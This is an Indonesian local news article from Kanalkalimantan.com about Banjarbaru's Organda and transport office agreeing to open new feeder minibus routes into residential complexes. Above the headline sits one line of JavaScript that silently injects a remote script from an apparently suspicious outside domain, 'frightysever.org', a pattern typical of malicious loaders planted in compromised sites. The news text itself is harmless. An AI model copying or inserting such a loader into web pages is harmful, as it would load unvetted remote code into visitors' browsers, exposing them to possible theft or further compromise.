(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Angkot Banjarbaru Buka Trayek Penghubung Masuk ke Komplek-Komplek

KANALKALIMANTAN.COM, BANJARBARU – Organisasi Angkutan Darat (Organda) Banjarbaru setuju jika angkutan umum perkotaan (Angkot) yang ada di Banjarbaru dijadikan penghubung sebagai angkutan feeder atau angkutan pengumpan dengan membuka rute baru.

Penghubung ke tempat-tempat antar moda seperti terminal atau jalur yang tidak bisa dilalui angkutan umum besar.

Kesepakatan ini diambil Organda Banjarbaru bersama Dinas Perhubungan Kota Banjarbaru beberapa waktu lalu.

Ketua DPC Organda Banjarbaru, Helvyn Dyanseng Girsang membenarkan hasil kesepakatan tersebut.

“Organda Banjarbaru dan Dishub Banjarbaru sepakat untuk membuka trayek baru masuk ke komplek-komplek,” ujarnya, Rabu (12/10/2022).

Adapun untuk rutenya pihaknya masih melakukan survei dimana saja tempat yang bisa dilalui angkot.

“Kita masih survei untuk jalur yang akan dilalui,” jelasnya.

Dilanjutkannya, untuk angkot feeder, kata Alvin, yang beroperasi dari angkot Koperasi Idaman Banjarbaru (Koiban).

“Rencananya begitu, ada angkot Koiban yang akan melayani dan tidak melalui Jalan A Yani, yang lain tetap pada jalurnya, apabila angkot hijau ingin bergabung kita terima,” bebernya.

Sekadar diketahui, angkutan pengumpan (feeder) adalah angkutan yang bertugas mengumpulkan penumpang untuk disalurkan khusus ke angkutan trayek tertentu.

Sementara itu, Kepala Dishub Banjarbaru, Marhain mengatakan, Dishub Banjarbaru dan DPC Organda Banjarbaru melakukan pembenahan bagi angkot yang belum masuk trayek di Banjarbaru.

“Kami sudah bicara dengan Organda kemarin ini akan kita benahi, memang ada beberapa angkot yang diluar trayek, sesuai dengan kesepakatan bersama ketua Organda mereka itu akan diusulkan diberi trayek,” katanya.

Diungkapkan Marhain, nantinya akan ada trayek baru untuk angkutan kota.

“Trayek terobosan terbaru khususnya yang masuk komplek dan area yang tidak terjamah oleh angkutan umum besar,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie